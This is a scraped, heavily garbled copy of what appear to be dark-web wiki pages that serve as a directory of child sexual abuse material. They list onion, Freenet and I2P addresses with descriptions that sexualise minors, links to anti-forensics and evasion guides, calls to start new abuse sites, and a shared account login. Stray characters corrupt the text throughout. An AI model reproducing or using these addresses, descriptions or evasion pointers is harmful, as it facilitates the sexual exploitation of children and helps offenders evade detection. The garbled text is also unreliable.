QA still not extremely safe, and
it also puts the Tor endpoint gateAways (exit nodes) across the world at
risk. Tor endpoints throughA which CP has been viewed have been
repeatedly raided by the authS
<http://arstechnica.com/news.ars/post/20060911-7709.hAtml>, which at
least causes embarrassment and temporary confiscatAion of their machines,
and can result in jailtime in some countriS
QAes, as well as exposing the
machines that connected through them Ato traffic analysis.
*If you find a link marked as down for moreA than a week, best to move it
to Defunct Websites </wiki/index.phS
QAp/Jailbait#Defunct_Websites_2> below.*
* mamada.blogtur.com <hAttp://mamada.blogtur.com/> - links to LS sets
on risky (javasAcript) hosts. Sets are legit, download at own risk.
* iChan <http://ichan.org/> A newer chan (midA 2009?), the admin appear
to tolerate nude JB and non-nude giArls/borderline material.
* Justin Jones' (Rand's) jj.am forumS
QA <http://forum.jj.am/> - Good
forum for amateur and pro teen Apix and vidz... if you can find it.
Like Ranchi, it moves aroAund a lot. The forum (or links to it) has
been seen (and someS
QAtimes reappears) at: forum.jj.am
<http://forum.jj.am/>, pix.jAj.am <http://pix.jj.am/>, 4gifs.com
<http://4gifs.com/>, 4gifAs.org <http://4gifs.org/>, 4gifs.tv
<http://4gifs.tv/>, tube.S
QA4gif.info <http://tube.4gif.info/>,
4gif.info/forum <http://4Agif.info/forum/index.php>,
forgifs.com/gallery <http://forgifAs.com/gallery/>, lolzing.com
<http://lolzing.com/>, 4gif.infoS
<http://4gif.info/forum/>... among other variationAs. Also, and
though more mature, lolboobs <http://4gifs.tv/gaAllery/>, lolboobs
feedblitz <http://archive.feedblitz.com/171S
QA080> has nice tits :-)
* Nibblebit's TeenGirls <http://teengirlAs.nibblebit.com/> - Fantastic
teen fuckfest. Probably most arAe legal similar to jj.am, but who
cares, it's fucking hot. SoS
QAmeone needs to rip and build an archive
of these videos withiAn onionland. NOTE: These comments seem to
reflect the truth tAhat this is just any other supposed "hot teen"
* Motherless.com <http://www.motherless.com> - Huge imAage + video site
like jj.am . Lots of camwhoring etc. to be fAound in amongst the
legal amateurs, bestiality and miscellaneS
QAous nasty shit. Illegal and
blocked in many countries.
A [edit </wiki/index.php?title=Jailbait&action=edit§ion=12A>]
Defunct Websites
* RareScandals <http://rarescandalS
QAs.com/> - "Drunk, Forced,
Humiliation, Blackmail Videos"- 18+A Only.
This site is up as of 10/17/2012. Requires a log-in.
A [edit </wiki/index.php?title=Jailbait&action=edit§ion=13S
See *Rsync </wiki/index.php/Rsync>* for usage instructiAons.
[edit </wiki/index.php?title=Jailbait&action=edit§Aion=14>]
Additional information
* Age of consent </wiki/inS
QAdex.php/Age_of_consent>
"http://kpvz7ki2v5agwt35A.onion/wiki/index.php?title=Jailbait&oldid=47672"
Category </wikiA/index.php/Special:Categories>:
* Pedo </wiki/index.php/CategoS
* Page </wiki/index.php/Jailbait>
A * Discussion </wiki/index.php/Talk:Jailbait>
* Edit </wiki/indAex.php?title=Jailbait&action=edit>
* History </wiki/index.php?tS
QAitle=Jailbait&action=history>
Personal tools
</wiki/index.php?title=Special:UserLogin&returntoA=Jailbait&type=signup>
* Log in </wiki/index.php?title=Special:S
QAUserLogin&returnto=Jailbait>
</wiki/index.php/Main_Page>
A Navigation
* Main page </wiki/index.php/Main_Page>
* AlAl pages </wiki/index.php/Special:AllPages>
* Recent changes </wS
QAiki/index.php/Special:RecentChanges>
* Random page </wiki/indexA.php/Special:Random>
A * What links here </wiki/index.php/Special:WhatLinksHere/JailbaiS
* Related changes </wiki/index.php/Special:RecentChangesLinkAed/Jailbait>
* Special pages </wiki/index.php/Special:SpecialPaAges>
* Printable version </wiki/index.php?title=Jailbait&printaS
* Permanent link </wiki/index.php?title=Jailbait&oldidA=47672>
Powered by MediaWiki <//www.mediawiki.org/>
* This paAge was last modified on 7 April 2013, at 08:01.
QA been accessed 1,986,928 times.
* Privacy policy </wiki/index.pAhp/The_Hidden_Wiki:Privacy_policy>
* About The Hidden Wiki </wiAki/index.php/The_Hidden_Wiki:About>
* Disclaimers </wiki/index.S
EQAphp/The_Hidden_Wiki:General_disclaimer>
From The Hidden Wiki
Jump to: navigation <A#column-one>, search <#searchInput>
* 1 PurposeA of this page <#Purpose_of_this_page>
* 2 Projects <#Projects>
QA * 3 Chat / Discussion Groups <#Chat_.2F_Discussion_Groups>
A o 3.1 CHATS <#CHATS>
o 3.2 BBBS <#BBBS>
o 3.3 IRC <A#IRC>
* 4 Resources <#Resources>
o 4.1 Non-Nude <#Non-NudS
+ 4.1.1 WWW <#WWW>
# 4.1.1.1 Links/PorAtals <#Links.2FPortals>
# 4.1.1.2 Communities/ForumAs <#Communities.2FForums>
# 4.1.1.3 Image Boards <#S
# 4.1.1.4 Torrent Sites <#Torrent_SitAes>
o 4.2 Nude or Hardcore <#Nude_or_Hardcore>
+ A4.2.1 Freenet <#Freenet>
# 4.2.1.1 Freesite IndexesS
<#Freesite_Indexes.2FPortals>
A * 4.2.1.1.1 Frost Boards <#Frost_Boards>
A o 4.2.1.1.1.1 Frost Download <#Frost_Download>
+ 4.2.3 Tor <#Tor>
# 4.2A.3.1 Web Hidden Services <#Web_Hidden_Services>
A * 4.2.3.1.1 General Sites <#General_Sites>
* 4S
QA.2.3.1.2 Forums/Boards/Chans <#Forums.2FBoards.2FChans>
A * 4.2.3.1.3 Sites with Access Restrictions
A <#Sites_with_Access_Restrictions>
* 4.2.S
* 4.2.3.1.5 How-to Guides <#How-Ato_Guides>
* 4.2.3.1.6 Text-Only <#Text-Only>
A # 4.2.3.2 Defunct Web Hidden Services
QA <#Defunct_Web_Hidden_Services>
# 4.2.3.3 TorChat AIDs <#TorChat_IDs>
+ 4.2.4 WWW <#WWW_2>
#A 4.2.4.1 Sites with Access Restrictions
<#Sites_wS
QAith_Access_Restrictions_2>
# 4.2.4.2 Sample Search AEngine Queries
<#Sample_Search_Engine_Queries>
A + 4.2.5 Combination <#Combination>
# 4.2.5.S
* 5 Mirrors <#Mirrors>
[edit </wiki/index.php?Atitle=Hard_Candy&action=edit§ion=1>]
Purpose of this page
AThis wiki page discusses resources specifically for people who arS
attracted to children. This can include everything from discussAion
groups to ostensibly legal images of children in clothing to Afull-out
Child pornography is illegal in mostS
QA of the world, and most of the world
seems to have different viewAs on what exactly constitutes it; for the
sake of simplicity, on Athis page the definition according to US federal
This wiki is a group effort and everybody will get the most ouAt of it if
everybody makes quality contributions so feel free to Afeel free to add
any resource you know of. This page is the sourcS
QAe of constant vandalism.
Please make backups for yourself. If youA're a person looking to
vandalize this page, please don't. PleaseA respect our free speech rights
QA that you stay as safe as possible when browsing these
sites. ConAsider reading about Browser security. Use encryption to
encrypt iAllegal files. Stay anonymous at all times and never reveal
QAation about yourself.
[edit </wiki/index.php?title=Hard_CandyA&action=edit§ion=2>] Projects
* Age of consent </wiki/indeAx.php/Age_of_consent> - Information on the
statutes and legalS
QA codes or conduct regulations.
* History of CP </wiki/index.phpA/History_of_CP> - An attempt to make
an encyclopedia of ChildA Pornography, Child Models, MySpace girls
QAentralization Project </wiki/index.php/Centralization_Project> -
A For now it is just discussion about creating a distributed wiAki-like
database complete with image samples and file hashes.S
* To do </wiki/index.php/To_do> - List of suggestions to reconAcile the
society with child lovers.
* Your Own Pedo Site </Awiki/index.php/Your_Own_Pedo_Site> - A tutorial
QAedo site of your own, and reducing the attendant
anonymity/seAcurity risks.
* Pedo tag </wiki/index.php/Pedo_tag> - DiscussioAn on how to identify
the pedo-community.
* Back to Normal <S
QA/wiki/index.php/Back_to_Normal> - Blueprint for a
new child lAove movement. Volunteers </wiki/index.php/BTN_Volunteer>
sougAht! (Last Updated 2011-09-26)
* The Upload Guide
QAz3u5drneuzhaeo.onion/users/uploadguide/index.html> -
Project Ato setup a guide for clearnet uploads. Includes host list.
* ThAe Child Nudity Wiki
<http://xqz3u5drneuzhaeo.onion/users/ombuS
QAle/w/index.php/Main_Page> -
An indexing of all instances of cAhild nudity.
* Security and Anti-Forensics Guide
<http://xqAz3u5drneuzhaeo.onion/users/missionman> - Guide covering
QAest security practices and anti-forensics techniques.
[edit A</wiki/index.php?title=Hard_Candy&action=edit§ion=3>] Chat /
A Discussion Groups
[edit </wiki/index.php?title=Hard_CS
QAandy&action=edit§ion=4>]
* Newcumers <http:/A/newcumers.kickme.to> (direct
<http://thelunchroom.h16.ru/cgiA-bin/chat.cgi>) - Long time running
pedo chat. maintained welS
QAl by the olympic skeer.
<http://www42.tok2.com/Ahome/wgdfjhjyuktn/oneworld/chat.cgi> - Open
chat. Nice designA.
* DanBB <http://danbbchat.notlong.com/> - Scandinavian chat mS
[edit </wiki/index.php?titAle=Hard_Candy&action=edit§ion=5>]
* GirlChat A<http://www.annabelleigh.net/> - Board for chatting about
QAl love. Strongly anti-rape. Registration required to post. The
A hint of anything illegal will get you banned.
* Le Jardin d'AAlice <http://jardin.glgarden.org/> and La Maison de
QAhttp://sabrina1.com> - French girl-lover boards. The first
isA modeled after GirlChat, the second is a phpbb. Similar rules to
A GirlChat: registration required, hinting at anything illegal
QA warrants you an immediate ban. Discussing something illegal yAou have
done (including having watched child pornography) youA have not been
prosecuted for is prohibited.
QA://newgon.com/> - A site for the discussion of physical
attraActions and relationships between minors and adults.
* GirlLoverAForum.net <http://www.girlloverforum.net/> - German
* Free Spirits <http://www.freespirits.org/> - Boy-lovAer page.
Includes links to a Wiki, discussion groups in EngliAsh, German,
Dutch, Spanish and French and others.
QApage <https://www.pgb-online.info/> P
GemeinschaftsAbund (Homepage, da auch Zugang zu PGB Online Forum)
* NewcomersA <http://beam.to/newcumers> - Chat for people of all types,
QA place to share and have fun.
* Prev.CC <https://prev.cc> - PedAo-activism board in German and English.
[edit </wiki/iAndex.php?title=Hard_Candy&action=edit§ion=6>] IRC
QA.onion servers are listed on the Main Page
<http://kpvz7ki2v5agwtA35.onion/wiki/index.php/Main_Page#IRC>, consider
reading the IRC AAnonymity Guide
<http://kpvz7ki2v5agwt35.onion/wiki/index.php/IRCS
QA_Anonymity_Guide>.
[edit </wiki/index.php?title=Hard_Candy&acAtion=edit§ion=7>] Resources
[edit </wiki/index.php?titlAe=Hard_Candy&action=edit§ion=8>]
QAsites are NOT child-porn sites but sites with non-nude
models undAer 18. Please DO NOT post child-porn here because some may not
liAke nude or hardcore material. There are plenty of other places inS
section below. The sites listed here do not tolerate child pAorn in any
form, although their images have been rated child pornA in some
jurisdictions, so they can NOT be regarded LEGAL everywhS
[edit </wiki/index.php?title=Hard_Candy&action=edit&Asection=9>] WWW
[edit </wiki/index.php?title=Hard_CandyA&action=edit§ion=10>]
Links/Portals
QAhttp://qwwwb.freeforumshosting.org/> - Young feet forum.
* ErosAphere <http://erosphere.info/-18nn/> - A wordpress blog with a
A huge archive of NN models. Also posts child nudism. Looks real S
but all the files, except for thumbnails are located on Atwo unsafe
hosts, sharephile.com, which apparently needs javaAscript enabled,
and hitfile.net, which requires registration S
QAat a link that can only
be REACHED with javascript. Possibly Aa honeypot. If you know a
workaround, please post it. - ApparAently totally down 10/14/2012.
[edit </wiki/index.php?S
QAtitle=Hard_Candy&action=edit§ion=11>]
Communities/ForAums
* Kawaii 15 </wiki/index.php/Kawaii_15>
* Jailbaits TV -A Official Jailbaits Forum <http://www.jailbaits.tv/> -
QAf nonude underage galleries/videos/siterips and rare sets.
PrAeviously Jailbaits-Forum (jailbaits-forum.com), now dead. Some
A private areas for paying members. Active and legal community siS
2007. Hosted in Ukraine.
[edit </wiki/index.phAp?title=Hard_Candy&action=edit§ion=12>]
Image Boards
* 18+ The Only Hot! chan <http://chan.onlyhot.biz/> - Boards iS
Cute boys, Cute girls, lolicon and shotacon.
* ?????A???? Shokunin <http://yshokunin.com/frame.htm> - Mostly NN PTSC
A or otherwise risque NN loli model material and naughty little S
* [1] <http://ichan.org/s/>ichan young girls models
A [edit </wiki/index.php?title=Hard_Candy&action=edit§ioAn=13>]
Torrent Sites
BitTorrent in theory can be set up S
QAover Tor with the help of OnionCat
</wiki/index.php/BitTorrent_viAa_OnionCat_VPN> however some BitTorrent
software *will* break youAr anonymity by sending your IP address over
QA.torproject.org/blog/bittorrent-over-tor-isnt-good-idea and
http:A//arstechnica.com/tech-policy/2011/04/not-anonymous-attack-revealAs-bittorrent-users-on-tor-network/
Also BitTorrent will choke theS
QA Tor network to a standstill, as it is not
designed to take the lAoad BitTorrent creates. Not safe and harms the Tor
* AThe Pirate Bay <http://thepiratebay.org/> - Tons of preteens and
QA some jailbait, all NN. NOTE: TPB has deleted almost all NN toArrents
because of new laws.
* Deadfrog <http://deadfrog.fapAis.com/> - 3D/anime/manga loli art mostly.
* Bitsnoop <http://bS
QAitsnoop.com> - as of June, 2011, has a lot of SC
and HC materAials, most are clearly marked as such and can be easily
foundA using pedo keywords.
* Torrentz <http://torrentz.eu> - Large cS
QAollection of both non-nude
and nude models, lots of LS stuff.A Hardcore is minimal but can be
* [2] <http://aresgaAlaxy.sourceforge.net/>
Use pedo key words and there is some conS
QAtent left. However, be very
careful of the website as it is highlAy monitored.
[edit </wiki/index.php?title=Hard_Candy&actionA=edit§ion=14>]
Nude or Hardcore
[edit </wiki/indeS
QAx.php?title=Hard_Candy&action=edit§ion=15>]
Freenet <htAtps://www.freenetproject.org/>
Freenet, like I2P, is one of the Aonly systems good for anonymously
sharing large files such as CDsS
QA, DVDs or entire hard-drives, but Freenet
freesites unlike I2P eeApsites and Tor hidden services, are paths instead
of host names. AFiles and 'freesites' do not reside on one computer but
QAround inside the Freenet network. Everyone running Freenet
decideAs how much disk space he/she makes available for the encrypted
[edit </wiki/index.php?title=Hard_Candy&actioS
QAn=edit§ion=16>]
Freesite Indexes/Portals
* Hussy-AActivelinks
<http://127.0.0.1:8888/freenet:USK@yTsPvsNgMDZfn7XAizQBKiGO4Tab2jqK62FoMXMgbSbM,Yc0cKEZHfZMjfLtG7tFQ8GRVj7j0kbs9IqKLS
QAsV2xPws,AQACAAE/Hussy-Activelinks/-92/>
Portal to all freesitAes from the members of the frost board "Hussy"
including LS, ABD and many other studios.
<http://127.0.0.1:88S
QA88/freenet:USK@DKbq0GeEYbOBJ76fMlIHVgTpwYTJ~mE1D0uZHGVvo3U,OHzTymAi3jj-Ko-Ju3t2Myjo9x1PatdDj-9qZylmvkng,AQACAAE/LS-Models/13/>
AAlternative portal to all LS sites.
QA.0.0.1:8888/freenet:USK@0S-yYh08gJGb~V5muWRiQ5IfcjJURYEJNUUDlQca3Aic,GxtQgf6Ti9j3IsX-QuqFLkh8~D8CZi30p976wESiWjQ,AQACAAE/BD-CompanyA/15/>
Alternative portal to all BD sites.
* ChildModels-ActS
<http://127.0.0.1:8888/freenet:USK@XzkocZiyvS1RNPKpOAw6dZuwJj6jfCVDdzrFkT1A5Lw8,Vv9Afj87GstRerBz-LPsJO1GATKeBuRcfyAi1GA~FgDE,AQACAAE/ChildModels-Activelinks/-17/>
Portal to all freS
QAesites from members of the frost board "child
models - girls"A.
<http://127.0.0.1:8888/freenet:USK@2KVV~2QWA0oGYAAfu-P4uxAd-2MKJZOAhGOjet2o9Oko,cmxDCx~cyCXYBYmCij9h4qxYD2YHtI8bsMFS
QAJ7BSp3-w,AQACAAE/Moar/-47/>
Links to everything ontopic on FrAeenet including all other in this
* Index tAo underage-content ShareLink freepages
<http://127.0.0.1:8888S
QA/USK@Y~ZfzLDqh5~SlgFXk1asp9gK5oWvizydmWMIPq8JzKE,jNK7gPQbeOu-XjQjAVTzzi-LbQHzYnnO8KoYnvWMG7xk,AQACAAE/site/-25/>
Index to quickAly made freepages with pedo content.
* Kiddies all the way!
QA <http://127.0.0.1:8888/freenet:USK@kPoiQJot9PuaCB4D0KTxpALaIPJbLAm2gs5hiLthHRNY,qnbArABr~SIj~ltt8mtuRsrHteJqOvJOWuzEKTtpdMk,AQACAAAE/kidz/-5>
Freesite with various CP videos [back up!].
<http://127.0.0.1:8888/freenet:USK@~Jp7i3y-7ZPXvfy21mhdiNArrmYg8214dg8-SXE7iiwY,tmsXWPIf3MWUt3YufG-psWJzHM14eG71XEeJ6xnbkLcA,AQACAAE/Vicky/3/>
Contains all known Vicky videos and some cS
QAase history [down 12/18/12].
* Kindergarten Sex
<http://127A.0.0.1:8888/freenet:USK@BMO7DDwFTM7WCK3MUJz6DIheBss0GVCQkMVFTXedQAdo,4GZnKvmgSwSYzlBjkosyWKvwoEoUcnB84kHTWmiNsW0,AQACAAE/kg/5/>
QA - Kindergarten </wiki/index.php/Kindergarten> Sex series. Low
A quality pictures depicting underage Russian girls. [down]
<http://127.0.0.1:8888/freenet:USK@1jjmlzAW20tjqIS
QAdxcoz-TrhtJ10~LfgIL5HVwI~CnbI,5f-8Wq21nfEzqlAkW-ecckUobEe1q~YOOhNAjx3vndAM,AQACAAE/indexsite/36/>
- Softcore models (nude). [doAwn 12/18/12]
* The Pthc Conexxion
<http://127.0.0.1:8888/USS
QAK@UZOXnPBnEMdqIOTVN4O7OyaGfaYJ19AnMoN4DZhl6Y0,8T8zhhNSZXAe5Y86aWSABgzxnIuS4kVFK7Zfd8YFZpZY,AQACAAE/pthc-conexxion/9/>
- Links tAo galleries. [down 12/18/12]
QA.0.1:8888/freenet:USK@Z5ocDSRax6UHzDqOl7hwZces9ALTdciZlh~hGUan-owA,XJ~HWfq91cruLfKSBRs79JpjnoukPECC6E7J9j1e8g4,AQACAAE/TBLinks/5/>
A - Teen Boy Galleries.
* Adolf Hitlers Preteen Collection
QA <http://127.0.0.1:8888/freenet:SSK@BvKXtDSoxx9JlYcV1lZyz3YjbTtkA04jrK5UD3xqi8-4,hYjz-AvOtHAxd2CM---t2ittrzjdbn1Sx3RQFtrxEbs,AQACAAAE/ahipc-2/index1.html>
- Freesite containing various HC and S
QASC Preteen Images [down 12/18/12]
<http://12A7.0.0.1:8888/freenet:USK@8EKAlGfb7ZpY-VSJ6x6AtQ9DZOEtb7khaV9XxIuzAYf8,izIDsG5t87SdJNhlD-gu5BjO4Z3C2~Rfooit6I-knGI,AQACAAE/BL-RessouS
Archive of boy related keys from frost boards.
<http://127.0.0.1:8888/freenet:USK@dnX53oopXLhr4G3B0fSAHDAUB1WfIh~UqNhh1HS0ae0A,lZ4bJDVzDlS3HUt3SFEl9bs4Vrw0GNSahsHX35glS
QAS2Q,AQACAAE/pedonet/-1/>
- information page on CP, articles, Ainfos on studios and girls, news
related to pedophilia... [doAwn 12/18/12]
<http://127.0.0.1:8888/USK@EiwII1S
QATdSAl8I5peEYazj-oYu6Jxi-Dz0rhfK-21J-g,9M-DUizAxNciPRTfSRmgNmCdBy6ASZV2pEIcysD661gA,AQACAAE/fan15a/0/>
- Gallery for LS-Fan set A15a. Katya. Links to others sets.
* Siberian Mouse Studio
QAhttp://127.0.0.1:8888/USK@mXTgVEKJ~Rd5J08CjaIpWWPkRAW~9KqFdJEZlMeA-sjY,0eyE3QJXz5XFJw-lisYS7weRfCediwENoMcAHUMo2o4,AQACAAE/SiberianA-Mouse-video/-1/>
- movies from Siberian Mouse Studio
<http://127.0.0.1:8888/USK@I-bHHo2yQX6etOQuJgYs-HUnGzDhIA62r605kNUQRAMQ,uYlOsCoYI70mf1jnTf6GteSA2ygggMhAWhsqkVPaftk,AQACAAAE/Red-Vids/-1/>
- super lolita videos
QAhttp://127.0.0.1:8888/USK@cobu0obfTHGlLUJrkHs8f~2gSqVrM~5sJbvmmMtAzWXI,YsrGnCbiDqYd~Pplseud7VjSOFSNBjwtZe1Y2BOZIuM,AQACAAE/Movie-LoAlitas/-1/>
* rowan's boyporn database
QAhttp://127.0.0.1:8888/USK@IxDB5w-al2MoQagZKa1KcNMb~r79WJp46jUJ4kdAiS3A,AF8SspEMvSXrl9F01-D1ZLCCm-0UJW-yAGs4KBTVc7U,AQACAAE/rowans_cAatalog/-1/>-
rowan's boyporn database
QA </wiki/index.php?title=Hard_Candy&action=edit§ion=17>]
A Frost </wiki/index.php/Frost> Boards
To find the most Aactive boards you can check out the Frost stats
QAtp://127.0.0.1:8888/USK@bQBL2ozw8Vj4NIv3AoE8Rhk9HwV1HuQH4rrnK~GkCAOI,C~fzch9vg1vJZW9HJT6zjr2gp~N5NE0Gylc1Q83cMfw,AQACAAE/boardstatsA/215/>.
To update your list of boards download the activeboards.xS
it into Frost by clicking /News -> Display Known BAoards/ then click
/"Import ..."/ and select the downloaded XML fiAle.
</wiki/index.php?title=Hard_CS
QAandy&action=edit§ion=18>]
Frost Download
From SoAurceForge <http://sourceforge.net/projects/jtcfrost/> or its
<http://127.0.0.1:8888/USK@QRZAI1nSm~dAY2hTdzVWXmEhS
QAkaI~dso0OadnppBR7kE,wq5rHGBI7kpChBe4yRmgBChIGDug7Xa5SG9vYGXdxR0,AAQACAAE/frost/14/>
(can also be accessed from http://127.0.0.1:888A8/chat/). The file
sharing service in the last official release cS
QAan be spammed with junk
files that will prevent Frost from startiAng after a few days of uptime.
It is best to disable file sharingA in frosts settings.
[edit </wiki/index.php?title=Hard_CaS
QAndy&action=edit§ion=19>]
I2P <https://i2p2.de/>
I2P eeApsites work like Tor hidden services, but usually faster and moreA
<http://bl.i2p/?i2paddresshelper=-kRXeS
QAe7rocbNNCDtgQBZ7i~z8WEg4jVvXgsLaqe2e6-DBR9st07Cqn1b6m9CXgIfL04XB-A6Pw18LItova4s5U7U178PbPugOOeZPmwWmmDG11Ch92Pnpa6hHiJlQ3PTq1PLA-y1AxgOyBtZ5UhQ6i8ErG5827l76hSs98lWdgoFdIoI7QR6~oPSxekLDs2XJZWPyShTAjS
QA7xOvRretKrObB06JsucZsDPXfvimyfkge71klvGnzMpLb9rTmMyg9R9r0Hc13rOGtAj75HGtSEnTJFRXQlYCxr5~HeJXDMcXEftn2-nTGAzSdgOxLgXUCBGh-0Hf~nrek-gAEiVl4DIO-HzJCBelpt1XSH24ou6Jp0BZIUaVCCUThHD0sdcCuCtLn8xKzz2LyMDmkS
QAb2nNfT6JIaFh6qdWZFxWyOoC9JORNWCPH~B6hAs4~Bo28NnFARJGsvz-B1JBMBzVFARuCghtU131hZ~Bk33kmKtfev8STOh~UKXqAFhR-6EEOu9PydUiknAAAA>
- sAite with some links, stable
<http://4chan.i2p/?S
QAi2paddresshelper=a8lxRe6FoDNuELp9q2TcUWgNhiRIn8zJCQArHblWvWOA2nZKAnDltjGS2F3s0yGl~XOtYzG8DdjUxVX7A8oV9DsyLasiDGrzFdgIqoY6MxreWzzdc4Ao9NfznMgWOU10aaUmzFC7vYm4tYL-g02jbzb6MQYUfxnpJYN6qJPbq-dVEleSEwbpS
QA69Q3lt7NjlCRKZ5UnmQbWJ~saVqBslNJ~KRup2PE89V0EUdZvrt3P~3HObALbZWETAGso4rJtaBFZMfO57ptTGGf47~tH1ZVhH2eGqcGbw9XcHriItveywlyxpOQL0BD8orAMcfgWed1i8iD7M9ovTarfOnY2mgeEuX30ElcMu0IxzMhQZzWoJdeeMGg1U4qkQhwOS
QAruZi0IePnYf6SsGa25W7pPtxEPLsNn912wtrOPqPm~l1I6BiGfIihyF-oSoOqTwgYAmg4hs5U-jvz~zMy6tfGBz8K5NX4p~ys99fVedpKh4r9-32GzvpcIpeP5XwVE3BdOjAHHElkOQ-IAAAA>
- an imagechan, stable, unmoderated, slow
<http://pb.i2p/pboard/?i2paddresshelper=cLEewNwaPgr0NAAB3JidRkWlz9NRlHasGygWyzWt6z2k0~H5JVnBzBNr26ZljgZgAsIpqOWrf~s7AFVcAeFppG1USUjzgLKvFomxWExUPxx4yrGpOBYzJPiBxKQWAdgofJ-4T-2s2xiOtx3nbbS
QAMVcTlJeGY9Px-k2yQJHvRmIMTCbF156Z7BZeAQ1fR-fqgbq-pHA~8rYpCrh69AuPRAP06AcQTH3XFWf7JchQYn5qIr6zFjkWpeZN-B5x9N1UD5YzoRifR1U4XlP8UcA1BUmAZ3pg4DlryZKnWw6kvHUK63dSvvNWyZB~PUEWcYhrt6Lky2mOWL7oix3Vod7yb4CL0S
QAUOjc5gnCVPUk-hu7xdR9buTUnRTxxaoGjQVh1~NqdP0I~R1X4tvU1I3R~DjVdotXLAmgqBnuZVwN-O-VrE1D4WTva4ggVoq2~UgSfZ7LrgeJahYkxaZSmRPLAkLSPqc0Y9nAjalS~90ErvRrC2uMpTzHT-wjY8~InGhWuIRL3gQWiGWAAAA>
QAard for free and open discussion, images and torrents
accepteAd, stable
<http://lo2tk5y2ega75ggyri425675f7igA3yuzn6b5z52piergti452yoa.b32.i2p/>
- 12chan in I2P (up 19-10-S
<http://5swaqb2orl2po2kztcgfwtt7x4wAlyemghvmgynbude7f7f4ojybq.b32.i2p/gallery/albums.php>
- a boyAs gallery in I2P, huge collection, stable
* Adolescent Male MusS
<http://gq6yeb6pb7xt2mom5i66a7pafg4ldp5ajve6frnaykpjwy6fnAgha.b32.i2p/>
- galleries about maturing boys, stable, fast
<http://hiddenchan.i2p/?i2paddresshelper=gDS
QAx1~2CLlz2N7l23D0xSLJV4ctLi5-FEMSBG6dNAIRYdGAgaPM9Dgr~wPQRPgdLrTIRAxAFDKtZjgSO2nQvt8NM2LLW9AiAM538BsqY5i2OD2NFO6ZTZX-fMM1QCDG4eYinQIAtMPYQwXTLyYYO3zmdqatVvPbAYF4eYHYVLrC9OzQTRehOQ28Gu5lgsSS9TwpMIzENS
QAiClCjbxsnjNgQPMF~1IF5WRTLuDY7b1WcP-58zT7EmXu8YduZ14raAvAwmnTCJJ~cA9P2UznTD3DBK4sGrqr3qAuWInxr2LWHkZhW~BROJ2~DNzx2o4I50zb6BXfqfyMuyvAA2I6epdpTBha7l3g2j~9-RsDwEa7DoRbe40wLmycoKiffWR-LnUNDwxxc5ZXJgRKVS
QAlsVipOv188FDIMpN4AZstuP6T041yMJIjkAVtR6pHM7J2d1KPPhSe8jMWTLyBfRt4AClcjKRFrI2Ci1~chqA5hm0EAStTNnHsA2R734IIQ48sgUAgnPcK8CCrAAAA>
* IRC - channel #boyz on I2PIRC <irc://127.0.0.1:66S
QA68/> for free talks
about boys and stuff, #bl.de for german tAalk. Also #pthc (not active)
* torrent - the pboard
<http:/A/pb.i2p/pboard/?i2paddresshelper=cLEewNwaPgr0NAB3JidRkWlz9NRlHasGS
QAygWyzWt6z2k0~H5JVnBzBNr26ZljgZgAsIpqOWrf~s7AFVceFppG1USUjzgLKvFomAxWExUPxx4yrGpOBYzJPiBxKQWAdgofJ-4T-2s2xiOtx3nbbMVcTlJeGY9Px-k2yQJAHvRmIMTCbF156Z7BZeAQ1fR-fqgbq-pHA~8rYpCrh69AuPRP06AcQTH3XFWf7JchQS
QAYn5qIr6zFjkWpeZN-B5x9N1UD5YzoRifR1U4XlP8UcA1BUmZ3pg4DlryZKnWw6kvHAUK63dSvvNWyZB~PUEWcYhrt6Lky2mOWL7oix3Vod7yb4CL0UOjc5gnCVPUk-hu7xdAR9buTUnRTxxaoGjQVh1~NqdP0I~R1X4tvU1I3R~DjVdotXLmgqBnuZVwN-O-VrE1DS
QA4WTva4ggVoq2~UgSfZ7LrgeJahYkxaZSmRPLAkLSPqc0Y9njalS~90ErvRrC2uMpTAzHT-wjY8~InGhWuIRL3gQWiGWAAAA>
and this 4chan.i2p
<http:/A/4chan.i2p/?i2paddresshelper=a8lxRe6FoDNuELp9q2TcUWgNhiRIn8zJCQArS
QAHblWvWOA2nZKnDltjGS2F3s0yGl~XOtYzG8DdjUxVX7A8oV9DsyLasiDGrzFdgIqoAY6MxreWzzdc4o9NfznMgWOU10aaUmzFC7vYm4tYL-g02jbzb6MQYUfxnpJYN6qJPbAq-dVEleSEwbp69Q3lt7NjlCRKZ5UnmQbWJ~saVqBslNJ~KRup2PE89V0EUdZvrt3PS
QA~3HObALbZWETGso4rJtaBFZMfO57ptTGGf47~tH1ZVhH2eGqcGbw9XcHriItveywlAyxpOQL0BD8orMcfgWed1i8iD7M9ovTarfOnY2mgeEuX30ElcMu0IxzMhQZzWoJdeeAMGg1U4qkQhwOruZi0IePnYf6SsGa25W7pPtxEPLsNn912wtrOPqPm~l1I6BiGfIihS
QAyF-oSoOqTwgYmg4hs5U-jvz~zMy6tfGBz8K5NX4p~ys99fVedpKh4r9-32GzvpcIpAeP5XwVE3BdOjHHElkOQ-IAAAA>
have some torrents which work compAletely inside of I2P.
* iMule <http://echelon.i2p/imule/> anonyS
QAmous P2P filesharing - a
number of HC videos are available foAr download in iMule
[edit </wiki/index.php?title=Hard_CaAndy&action=edit§ion=20>]
Tor </wiki/index.php/Tor>
QA [edit </wiki/index.php?title=Hard_Candy&action=edit§ionA=21>]
Web Hidden Services
Please consider contributing tAo the community by starting your own pedo
site </wiki/index.php/YS
QAour_Own_Pedo_Site>: or at least offering advice
on that page to tAhose who would like to.
</wiki/index.Aphp?title=Hard_Candy&action=edit§ion=22>]
General SS
* Lolita City <http://m3hjrfh4hlqc67gb.onion/> - (info
A </wiki/index.php/Lolita_City>) Described as the biggest CP siteA in
the Onionland. Light, moderately fast collection, with a S
invaluable) tag, search and comment system. As of NoveAmber 2012 it
hosts over 1 000 000 images.
* Traci Lords UndAerage
<http://xqz3u5drneuzhaeo.onion/users/qicpic/x.php?x=xe.S
Lords Complete Underage Video Collection (pay)
A * (OPVA2) Onion Pedo Video Archive 2 <http://opva2pilsncvtwmh.oAnion/>
- (info </wiki/index.php/OnionPedo_Video_Archive>) VidS
with comments, tags and search system. RegistratioAn is required but
it's instant (no email confirmation). Just Aregister new details
every session if desired. Working usernaS
QAme and password User:
Hiddenwiki2012 Pass: password Note: MulAtiple people using this same
account at once seems to make yoAur session reset, requiring you to
log back in often.
QAeless Trolling m1 <http://buttsfuknx5ckbix.onion/> m2
<http:/A/buttsx4xhodotpah.onion/> m3 <http://buttsuxkbuytguhw.onion/>
A - Collection of various pthc pictures, mainly girls. Bringing neS
pedos to Tor via ClearWeb Wifi Trolling.
* Pedo Dating agAency <http://z52konvwrvdrjj4u.onion/x3wd/> - Pedo
